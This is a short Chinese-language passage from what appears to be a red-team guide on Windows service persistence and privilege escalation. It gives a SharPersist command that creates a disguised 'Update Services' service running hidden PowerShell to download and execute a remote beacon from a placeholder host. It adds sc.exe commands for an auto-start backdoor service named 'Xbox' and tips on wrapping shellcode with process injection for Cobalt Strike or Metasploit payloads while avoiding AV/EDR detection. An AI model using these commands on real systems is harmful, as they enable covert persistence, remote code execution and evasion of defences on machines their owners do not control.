服务
考虑到很多服务也是开机启动的,因此服务也可以用来提权。我们可以通过SharPersist工具的命令 SharPersist -t service -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden iex(new-object net.webclient).downloadstring('http://host/beacon')" -n "Update Services" -m add 来实现。
我们也可以手动创建后门服务
sc.exe create Xbox binPath = "[command]" start=auto
sc.exe start Xbox
我们也可以直接将 binPath 指向我们想要的可执行文件,例如exe载荷。但是需要注意的是,服务所用的exe可执行文件与一般的可执行文件有所不同,如果我们直接指向一般可执行文件,例如exe版的CS或Metasploit载荷,会很快失去连接。作为一个workaround,我们可以使用warpper来包裹shellcode并且实现进程注入。我们也可以直接生成服务二进制文件,前提当然是不被AV/EDR所检测到。